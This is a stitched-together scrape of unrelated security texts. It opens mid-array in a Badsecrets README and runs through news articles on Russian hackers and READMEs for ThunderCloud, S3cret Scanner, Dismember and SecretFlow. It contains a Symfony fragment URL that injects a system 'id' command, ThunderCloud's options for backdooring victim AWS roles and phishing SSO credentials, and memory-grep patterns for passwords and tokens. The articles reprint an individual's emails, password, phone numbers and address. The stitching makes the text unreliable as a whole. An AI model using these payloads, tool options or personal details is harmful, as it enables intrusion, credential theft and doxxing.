xGQWfS0kuwuU6RRmiME2Ps0NrBENIbZzcbgw6%2BRIwClWkvEG%2BK%2FPdcAdfmRkAPWUNadxnhjeU2jNnzI1yYNIOhziUBPxgFEcAT45E7rWvf8ghT08HZvphzytPmD%2FxuvJaDdRgb6a30TjSpa7i%2BEHkIMxM5eH1kiwhN6xkTcBsJ87epGdFRWKhTGKYwCbaYid1nRs7%2BvQEU7MRYghok8KMTueELipohm3otuKo8V4a7w4TgTSBvPE%2BLPLJRwhM8KcjGlcpzF1NowRo6zeJJhbdPpouUH2NJzDcp7P4uUuUB9Cxt9B986My6zDnz1eyBvRMzj7TABfmfPFPoY3RfzBUzDm%2FA9lOGsM6d9WZj2CH0WxqiLDGmP1Ts9DWX%2FsYyqEGK5R1Xpnp7kRIarPtYliecp50ZIH6nqSkoCBllMCCE6JN%2BdoXobTpulALdmQV0%2Bppv%2FAjzIJrTHgX7jwRGEAeRgAxTomtemmIaH5NtV7xt8XS%2BqwghdJl1D06%2FWhpMtJ1%2FoQGoJ0%2F7ChYyefyAfsiQNWsO66UNVyl71RVPwATnbRO5K5mtxn0M2wuXXpAARNh6pQTcVX%2FTJ4jmosyKwhI6I870NEOsSaWlKVyOdb97C3Bt0pvzq8BagV5FMsNtJKmqIIM0HRkMkalIyfow9iS%2B5xGN5eKM8NE4E6hO4CvmpG%2BH2xFHTSNzloV0FjLdDmj5UfMjhUuEb3rkKK1bGAVaaherp6Ai6N4YJQzh%2FDdpo6al95EZN2OYolzxitgDgsWVGhMvddyQTwnRqRY04hdVJTwdhi4TiCPbLJ1Wcty2ozy6VDs4w77EOAQ5JnxUmDVPA3vXmADJZR0hIJEsuxXfYg%2BRIdV4fzGunV4%2B9jpiyM9G11iiesURK82o%2BdcG7FaCkkun2K2bvD6qGcL61uhoxNeLVpAxjrRjaEBrXsexZ9rExpMlFD8e3 NM%2B0K0LQJvdEvpWYS5UTG9cAbNAzBs%3DpDsPXFGf2lEMcyGaK1ouARHUfqU0fzkeVwjXU9ORI%2Fs%3D",
"qAAAAAQDAgEBAAAAvAIAAAAAAAAsAAAABABTaGRyAk4AdQg4AC4AMQAwABRhZGwcBykRPNQv++kTK0KePPqVVGgAAAAFAFNkYXRhXHicHYc7DkBQAATnIUqVa3jxLRzApxJBrxA18bmdw1l2k9nZG/Bcxxjt4/An3NnYOVlZOMRL7ld0NAQ9IzUTMy0DeUpMqkYkso+ZGFNiKbRW//Pyb0Guzwtozw4Q",
".eJxVjLsOAiEURP-F2hAuL8HSfr-BAPciq4ZNlt3K-O9KsoU2U8w5My8W4r7VsHdaw4zswoCdfrsU84PaAHiP7bbwvLRtnRMfCj9o59OC9Lwe7t9Bjb2OtbMkAEGQtQjekykmJy9JZIW-6CgUaCGsA6eSyV65s1Qya_xGKZrY-wPVYjdw:1ojOrE:bfOktjgLlUykwCIRIpvaTZRQMM3-UypscEN57ECtXis",
"eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo",
"dUEvRldLekFNcklGZ3ZSbU1XaHJ0ZGxsLzhYTHlNTW43T3BVN05kZXE3WUhQOVVKbVA3Rm5WaSs5eG5QQ1VIRVBzeDFNTnNpZ0xCM1FKbzFZTEJISzhaNzFmVGYzME0waDFURVpCYm5TQlJFRmRFclYzNUZhR3VuN29PMmlkVHBrRi8wb3AwZWgvWmxObkFOYnpkeHR1YWpWZ3lnN0Y4ZW9xSk9LNVlQd0U4MmFsbWtLZUI5VzkzRk M4YXBFWXBWLS15L00xME1nVFp2ZTlmUWcxZVlpelpnPT0=--7efe7919a5210cfd1ac4c6228e3ff82c0600d841",
"https://localhost/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=Xnsvx/yLVQaimEd1CfepgH0rEXr422JnRSn/uaCE3gs=",
"s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc"
]
for test in tests:
r = check_all_modules(test)
if r:
print(r)
else:
print("Key not found!")
import requests
from badsecrets.base import carve_all_modules
### using python requests response object
res = requests.get(f"http://example.com/")
r_list = carve_all_modules(requests_response=res)
print(r_list)
### Using string
carve_source_text = """
<html>
<head>
<title>Test</title>
</head>
<body>
<p>Some text</p>
<div class="JWT_IN_PAGE">
<p>eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo</p>
</div>
</body>
</html>
"""
r_list = carve_all_modules(body=carve_source_text)
print(r_list)
Nothing would make us happier than getting a pull request with a new module! But the easiest way to contribute would be helping to populate our word lists! If you find publicly available keys help us make Badsecrets more useful by submitting a pull request to add them.
Requests for modules are always very welcome as well!
Nikita Kislitsin, formerly the head of network security for one of Russia’s top cybersecurity firms, was arrested last week in Kazakhstan in response to 10-year-old hacking charges from the U.S. Department of Justice. Experts say Kislitsin’s prosecution could soon put the Kazakhstan government in a sticky diplomatic position, as the Kremlin is already signaling that it intends to block his extradition to the United States.
Nikita Kislitsin, at a security conference in Russia.
Kislitsin is accused of hacking into the now-defunct social networking site Formspring in 2012, and conspiring with another Russian man convicted of stealing tens of millions of usernames and passwords from LinkedIn and Dropbox that same year.
In March 2020, the DOJ unsealed two criminal hacking indictments against Kislitsin, who was then head of security at Group-IB, a cybersecurity company that was founded in Russia in 2003 and operated there for more than a decade before relocating to Singapore.
Prosecutors in Northern California indicted Kislitsin in 2014 for his alleged role in stealing account data from Formspring. Kislitsin also was indicted in Nevada in 2013, but the Nevada indictment does not name his alleged victim(s) in that case.
However, documents unsealed in the California case indicate Kislitsin allegedly conspired with Yevgeniy Nikulin, a Russian man convicted in 2020 of stealing 117 million usernames and passwords from Dropbox, Formspring and LinkedIn in 2012. Nikulin is currently serving a seven-year sentence in the U.S. prison system.
As first reported by Cyberscoop in 2020, a trial brief in the California investigation identified Nikulin, Kislitsin and two alleged cybercriminals — Oleg Tolstikh and Oleksandr Vitalyevich Ieremenko — as being present during a 2012 meeting at a Moscow hotel, where participants allegedly discussed starting an internet café business.
A 2010 indictment out of New Jersey accuses Ieremenko and six others with siphoning nonpublic information from the U.S. Securities & Exchange Commission (SEC) and public relations firms, and making $30 million in illegal stock trades based on the proprietary information they stole.
[The U.S. Secret Service has an outstanding $1 million reward for information leading to the arrest of Ieremenko (Александр Витальевич Еременко), who allegedly went by the hacker handles “Zl0m” and “Lamarez.”]
Kislitsin was hired by Group-IB in January 2013, nearly six months after the Formspring hack. Group-IB has since moved its headquarters to Singapore, and in April 2023 the company announced it had fully exited the Russian market.
In a statement provided to KrebsOnSecurity, Group-IB said Mr. Kislitsin is no longer an employee, and that he now works for a Russian organization called FACCT, which stands for “Fight Against Cybercrime Technologies.”
“Dmitry Volkov, co-founder and CEO, sold his stake in Group-IB’s Russia-based business to the company’s local management,” the statement reads. “The stand-alone business in Russia has been operating under the new brand FACCT ever since and will continue to operate as a separate company with no connection to Group-IB.”
FACCT says on its website that it is a “Russian developer of technologies for combating cybercrime,” and that it works with clients to fight targeted attacks, data leaks, fraud, phishing and brand abuse. In a statement published online, FACCT said Kislitsin is responsible for developing its network security business, and that he remains under temporary detention in Kazakhstan “to study the basis for extradition arrest at the request of the United States.”
“According to the information we have, the claims against Kislitsin are not related to his work at FACCT, but are related to a case more than 10 years ago when Nikita worked as a journalist and independent researcher,” FACCT wrote.
From 2006 to 2012, Kislitsin was editor-in-chief of “Hacker,” a popular Russian-language monthly magazine that includes articles on information and network security, programming, and frequently features interviews with and articles penned by notable or wanted Russian hackers.
“We are convinced that there are no legal grounds for detention on the territory of Kazakhstan,” the FACCT statement continued. “The company has hired lawyers who have been providing Nikita with all the necessary assistance since last week, and we have also sent an appeal to the Consulate General of the Russian Federation in Kazakhstan to assist in protecting our employee.”
FACCT indicated that the Kremlin has already intervened in the case, and the Russian government claims Kislitsin is wanted on criminal charges in Russia and must instead be repatriated to his homeland.
“The FACCT emphasizes that the announcement of Nikita Kislitsin on the wanted list in the territory of the Russian Federation became known only today, June 28, 6 days after the arrest in Kazakhstan,” FACCT wrote. “The company is monitoring developments.”
The Kremlin followed a similar playbook in the case of Aleksei Burkov, a cybercriminal who long operated two of Russia’s most exclusive underground hacking forums. Burkov was arrested in 2015 by Israeli authorities, and the Russian government fought Burkov’s extradition to the U.S. for four years — even arresting and jailing an Israeli woman on phony drug charges to force a prisoner swap.
That effort ultimately failed: Burkov was sent to America, pleaded guilty, and was sentenced to nine years in prison.
Alexei Burkov, seated second from right, attends a hearing in Jerusalem in 2015. Image: Andrei Shirokov / Tass via Getty Images.
Arkady Bukh is a U.S. attorney who has represented dozens of accused hackers from Russia and Eastern Europe who were extradited to the United States over the years. Bukh said Moscow is likely to turn the Kislitsin case into a diplomatic time bomb for Kazakhstan, which shares an enormous border and a great deal of cultural ties with Russia. A 2009 census found that Russians make up about 24 percent of the population of Kazakhstan.
“That would put Kazakhstan at a crossroads to choose between unity with Russia or going with the West,” Bukh said. “If that happens, Kazakhstan may have to make some very unpleasant decisions.”
Group-IB’s exodus from Russia comes as its former founder and CEO Ilya Sachkov remains languishing in a Russian prison, awaiting a farcical trial and an inevitable conviction on charges of treason. In September 2021, the Kremlin issued treason charges against Sachkov, although it has so far refused to disclose any details about the allegations.
Sachkov’s pending treason trial has been the subject of much speculation among denizens of Russian cybercrime forums, and the consensus seems to be that Sachkov and Group-IB were seen as a little too helpful to the DOJ in its various investigations involving top Russian hackers.
Indeed, since its inception in 2003, Group-IB’s researchers have helped to identify, disrupt and even catch a number of high-profile Russian hackers, most of whom got busted after years of criminal hacking because they made the unforgivable mistake of stealing from their own citizens.
When the indictments against Kislitsin were unsealed in 2020, Group-IB issued a lengthy statement attesting to his character and saying they would help him with his legal defense. As part of that statement, Group-IB noted that “representatives of the Group-IB company and, in particular, Kislitsin, in 2013, on their own initiative, met with employees of the US Department of Justice to inform them about the research work related to the underground, which was carried out by Kislitsin in 2012.”
The U.S. government this week put a $10 million bounty on a Russian man who for the past 18 years operated Try2Check, one of the cybercrime underground’s most trusted services for checking the validity of stolen credit card data. U.S. authorities say 43-year-old Denis Kulkov‘s card-checking service made him at least $18 million, which he used to buy a Ferrari, Land Rover, and other luxury items.
Denis Kulkov, a.k.a. “Nordex,” in his Ferrari. Image: USDOJ.
Launched in 2005, Try2Check soon was processing more than a million card-checking transactions per month — charging 20 cents per transaction. Cybercriminals turned to services like this after purchasing stolen credit card data from an underground shop, with an eye toward minimizing the number of cards that are inactive by the time they are put to criminal use.
Try2Check was so reliable that it eventually became the official card-checking service for some of the underground’s most bustling crime bazaars, including Vault Market, Unicc, and Joker’s Stash. Customers of these carding shops who chose to use the shop’s built-in (but a-la-carte) card checking service from Try2Check could expect automatic refunds on any cards that were found to be inactive or canceled at the time of purchase.
Many established stolen card shops will allow customers to request refunds on dead cards based on official reports from trusted third-party checking services. But in general, the bigger shops have steered customers toward using their own white-labeled version of the Try2Check service — primarily to help minimize disputes over canceled cards.
On Wednesday, May 3, Try2Check’s websites were replaced with a domain seizure notice from the U.S. Secret Service and U.S. Department of Justice, as prosecutors in the Eastern District of New York unsealed an indictment and search warrant naming Denis Gennadievich Kulkov of Samara, Russia as the proprietor.
Try2Check’s login pages have been replaced with a seizure notice from U.S. law enforcement.
At the same time, the U.S. Department of State issued a $10 million reward for information leading to the arrest or conviction of Kulkov. In November 2021, the State Department began offering up to to $10 million for the name or location of any key leaders of REvil, a major Russian ransomware gang.
As noted in the Secret Service’s criminal complaint (PDF), the Try2Check service was first advertised on the closely-guarded Russian cybercrime forum Mazafaka, by someone using the handle “KreenJo.” That handle used the same ICQ instant messenger account number (555724) as a Mazafaka denizen named “Nordex.”
In February 2005, Nordex posted to Mazafaka that he was in the market for hacked bank accounts, and offered 50 percent of the take. He asked interested partners to contact him at the ICQ number 228427661 or at the email address polkas@bk.ru. As the government noted in its search warrant, Nordex exchanged messages with forum users at the time identifying himself as a then-24-year-old “Denis” from Samara, RU.
In 2017, U.S. law enforcement seized the cryptocurrency exchange BTC-e, and the Secret Service said those records show that a Denis Kulkov from Samara supplied the username “Nordexin,” email address nordexin@ya.ru, and an address in Samara.
Investigators had already found Instagram accounts where Kulkov posted pictures of his Ferrari and his family. Authorities were able to identify that Kulkov had an iCloud account tied to the address nordexin@icloud.com, and upon subpoenaing that found passport photos of Kulkov, and well as more photos of his family and pricey cars.
Like many other top cybercriminals based in Russia or in countries with favorable relations to the Kremlin, the proprietor of Try2Check was not particularly difficult to link to a real-life identity. In Kulkov’s case, it no doubt was critical to U.S. investigators that they had access to a wealth of personal information tied to a cryptocurrency exchange Kulkov had used.
However, the link between Kulkov and Try2Check can be made — ironically — based on records that have been plundered by hackers and published online over the years — including Russian email services, Russian government records, and hacked cybercrime forums.
Kulkov posing with his passport, in a photo authorities obtained by subpoenaing his iCloud account.
According to cybersecurity firm Constella Intelligence, the address polkas@bk.ru was used to register an account with the username “Nordex” at bankir[.]com, a now defunct news website that was almost standard reading for Russian speakers interested in news about various Russian financial markets.
Nordex appears to have been a finance nerd. In his early days on the forums, Nordex posted several long threads on his views about the Russian stock market and mutual fund investments.
That Bankir account was registered from the Internet address 193.27.237.66 in Samara, Russia, and included Nordex’s date of birth as April 8, 1980, as well as their ICQ number (228427661).
Cyber intelligence firm Intel 471 found that Internet address also was used to register the account “Nordex” on the Russian hacking forum Exploit back in 2006.
Constella tracked another Bankir[.]com account created from that same Internet address under the username “Polkas.” This account had the same date of birth as Nordex, but a different email address: nordia@yandex.ru. This and other “nordia@” emails shared a password: “anna59.”
Nordia@yandex.ru shares several passwords with nordia@list.ru, which Constella says was used to create an account at a religious website for an Anna Kulikova from Samara. At the Russian home furnishing store Westwing.ru, Ms. Kulikova listed her full name as Anna Vnrhoturkina Kulikova, and her address as 29 Kommunistrecheskya St., Apt. 110.
A search on that address in Constella brings up a record for an Anna Denis Vnrhoturkina Kulkov, and the phone number 879608229389.
Russian vehicle registration records have also been hacked and leaked online over the years. Those records show that Anna’s Apt 110 address is tied to a Denis Gennadyvich Kulkov, born April 8, 1980.
The vehicle Kolkov registered in 2015 at that address was a 2010 Ferrari Italia, with the license plate number K022YB190. The phone number associated with this record — 79608229389 — is exactly like Anna’s, only minus the (mis?)leading “8”. That number also is tied to a now-defunct Facebook account, and to the email addresses nordexin@ya.ru and nordexin@icloud.com.
Kulkov’s Ferrari has been photographed numerous times over the years by Russian car aficionados, including this one with the driver’s face redacted by the photographer:
The Ferrari owned by Denis Kulkov, spotted in Moscow in 2016. Image: Migalki.net.
As the title of this story suggests, the hard part for Western law enforcement isn’t identifying the Russian cybercriminals who are major players in the scene. Rather, it’s finding creative ways to capture high-value suspects if and when they do leave the protection that Russia generally extends to domestic cybercriminals within its borders who do not also harm Russian companies or consumers, or interfere with state interests.
But Russia’s war against Ukraine has caused major fault lines to appear in the cybercrime underground: Cybercriminal syndicates that previously straddled Russia and Ukraine with ease were forced to reevaluate many comrades who were suddenly working for The Other Side.
Many cybercriminals who operated with impunity from Russia and Ukraine prior to the war chose to flee those countries following the invasion, presenting international law enforcement agencies with rare opportunities to catch most-wanted cybercrooks. One of those was Mark Sokolovsky, a 26-year-old Ukrainian man who operated the popular “Raccoon” malware-as-a-service offering; Sokolovsky was apprehended in March 2022 after fleeing Ukraine’s mandatory military service orders.
Also nabbed on the lam last year was Vyacheslav “Tank” Penchukov, a senior Ukrainian member of a transnational cybercrime group that stole tens of millions of dollars over nearly a decade from countless hacked businesses. Penchukov was arrested after leaving Ukraine to meet up with his wife in Switzerland.
Cloud Exploit Framework
python3 tc.py -h
_______ _ _ _____ _ _
|__ __| | | | / ____| | | |
| | | |__ _ _ _ __ __| | ___ _ __| | | | ___ _ _ __| |
| | | '_ \| | | | '_ \ / _` |/ _ \ '__| | | |/ _ \| | | |/ _` |
| | | | | | |_| | | | | (_| | __/ | | |____| | (_) | |_| | (_| |
\_/ |_| |_|\__,_|_| |_|\__,_|\___|_| \_____|_|\___/ \__,_|\__,_|
usage: tc.py [-h] [-ce COGNITO_ENDPOINT] [-reg REGION] [-accid AWS_ACCOUNT_ID] [-aws_key AWS_ACCESS_KEY] [-aws_secret AWS_SECRET_KEY] [-bdrole BACKDOOR_ROLE] [-sso SSO_URL] [-enum_roles ENUMERATE_ROLES] [-s3 S3_BUCKET_NAME]
[-conn_string CONNECTION_STRING] [-blob BLOB] [-shared_access_key SHARED_ACCESS_KEY]
Attack modules of cloud AWS
optional arguments:
-h, --help show this help message and exit
-ce COGNITO_ENDPOINT, --cognito_endpoint COGNITO_ENDPOINT
to verify if cognito endpoint is vulnerable and to extract credentials
-reg REGION, --region REGION
AWS region of the resource
-accid AWS_ACCOUNT_ID, --aws_account_id AWS_ACCOUNT_ID
AWS account of the victim
-aws_key AWS_ACCESS_KEY, --aws_access_key AWS_ACCESS_KEY
AWS access keys of the victim account
-aws_secret AWS_SECRET_KEY, --aws_secret_key AWS_SECRET_KEY
AWS secret key of the victim account
-bdrole BACKDOOR_ROLE, --backdoor_role BACKDOOR_ROLE
Name of the backdoor role in victim role
-sso SSO_URL, --sso_url SSO_URL
AWS SSO URL to phish for AWS credentials
-enum_roles ENUMERATE_ROLES, --enumerate_roles ENUMERATE_ROLES
To enumerate and assume account roles in victim AWS roles
-s3 S3_BUCKET_NAME, --s3_bucket_name S3_BUCKET_NAME
Execute upload attack on S3 bucket
-conn_string CONNECTION_STRING, --connection_string CONNECTION_STRING
Azure Shared Access key for readingservicebus/queues/blobs etc
-blob BLOB, --blob BLOB
Azure blob enumeration
-shared_access_key SHARED_ACCESS_KEY, --shared_access_key SHARED_ACCESS_KEY
Azure shared key
* python 3
* pip
* git
- get project `git clone https://github.com/Rnalter/ThunderCloud.git && cd ThunderCloud/`
- install [virtualenv](https://virtualenv.pypa.io/en/latest/) `pip install virtualenv`
- create a python 3.6 local enviroment `virtualenv -p python3.6 venv`
- activate the virtual enviroment `source venv/bin/activate`
- install project dependencies `pip install -r requirements.txt`
- run the tool via `python tc.py --help`
Examples
python3 tc.py -sso <sso_url> --region <region>
python3 tc.py -ce <cognito_endpoint> --region <region>
S3cret Scanner
tool designed to provide a complementary layer for the Amazon S3 Security Best Practices by proactively hunting secrets in public S3 buckets.scheduled task
or On-Demand
The automation will perform the following actions:
Public
or objects can be public
).p12
, .pgp
and more)logger.log
file.{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"s3:GetLifecycleConfiguration",
"s3:GetBucketTagging",
"s3:ListBucket",
"s3:GetAccelerateConfiguration",
"s3:GetBucketPolicy",
"s3:GetBucketPublicAccessBlock",
"s3:GetBucketPolicyStatus",
"s3:GetBucketAcl",
"s3:GetBucketLocation"
],
"Resource": "arn:aws:s3:::*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
accounts.csv
in the csv
directory, in the following format:Account name,Account id
prod,123456789
ci,321654987
dev,148739578
Use pip to install the needed requirements.
# Clone the repo
git clone <repo>
# Install requirements
pip3 install -r requirements.txt
# Install trufflehog3
pip3 install trufflehog3
Argument | Values | Description | Required |
---|---|---|---|
-p, --aws_profile | The aws profile name for the access keys | ✓ | |
-r, --scanner_role | The aws scanner's role name | ✓ | |
-m, --method | internal | the scan type | ✓ |
-l, --last_modified | 1-365 | Number of days to scan since the file was last modified; Default - 1 | ✗ |
python3 main.py -p secTeam -r secteam-inspect-s3-buckets -l 1
Pull requests and forks are welcome. For major changes, please open an issue first to discuss what you would like to change.
Dismember is a command-line toolkit for Linux that can be used to scan the memory of all processes (or particular ones) for common secrets and custom regular expressions, among other things.
It will eventually become a full /proc
toolkit.
Using the grep
command, it can match a regular expression across all memory for all (accessible) processes. This could be used to find sensitive data in memory, identify a process by something included in its memory, or to interrogate a processes' memory for interesting information.
There are many built-in patterns included via the scan
command, which effectively works as a secret scanner against the memory on your machine.
Dismember can be used to search memory of all processes it has access to, so running it as root is the most effective method.
Commands are also included to list processes, explore process status and related information, draw process trees, and more...
Command | Description |
---|---|
grep | Search process memory for a given string or regex |
scan | Search process memory for a set of predefined secret patterns |
Command | Description |
---|---|
files | Show a list of files being accessed by a process |
find | Find a PID given a process name. If multiple processes match, the first one is returned. |
info | Show information about a process |
kernel | Show information about the kernel |
kill | Kill a process (or processes) using SIGKILL |
list | List all processes currently available on the system |
resume | Resume a suspended process using SIGCONT |
suspend | Suspend a process using SIGSTOP (use 'dismember resume' to leave suspension) |
tree | Show a tree diagram of a process and all children (defaults to PID 1). |
Grab a binary from the latest release and add it to your path.
# search memory owned by process 1234
dismember grep -p 1234 'the password is .*'
# search memory owned by processes named "nginx" for a login form submission
dismember grep -n nginx 'username=liamg&password=.*'
# find a github api token across all processes
dismember grep 'gh[pousr]_[0-9a-zA-Z]{36}'
# search all accessible memory for common secrets
dismember scan
Isn't this information all just sitting in
/proc
?
Pretty much. Dismember just reads and presents it for the most part. If you can get away with grep whatever /proc/[pid]/blah
then go for it! I built this as an educational experience because I couldn't sleep one night and stayed up late reading the proc
man-pages (I live an extremely rock 'n' roll lifestyle). It's not a replacement for existing tools, but perhaps it can complement them.
Do you know how horrific some of these commands seem when read out of context?
Yes.
SecretFlow is a unified framework for privacy-preserving data intelligence and machine learning. To achieve this goal, it provides:
For users who want to try SecretFlow, you can install the current release from pypi. Note that it requires python version == 3.8, you can create a virtual environment with conda if not satisfied.
pip install -U secretflow
Try you first SecretFlow program
>>> import secretflow as sf
>>> sf.init(['alice', 'bob', 'carol'], num_cpus=8, log_to_driver=True)
>>> dev = sf.PYU('alice')
>>> import numpy as np
>>> data = dev(np.random.rand)(3, 4)
>>> data
<secretflow.device.device.pyu.PYUObject object at 0x7fdec24a15b0>
For developers who want to contribute to SecretFlow, you can set up an environment with the following instruction.
git clone https://github.com/secretflow/secretflow.git
# optional
git lfs install
conda create -n secretflow python=3.8
conda activate secretflow
pip install -r dev-requirements.txt -r requirements.txt
We prefer black as our code formatter. For various editor users, please refer to editor integration. Pass -S, --skip-string-normalization
to black to avoid string quotes or prefixes normalization.
Non-release versions of SecretFlow are prohibited to use in any production environment due to possible bugs, glitches, lack of functionality, security issues or other problems.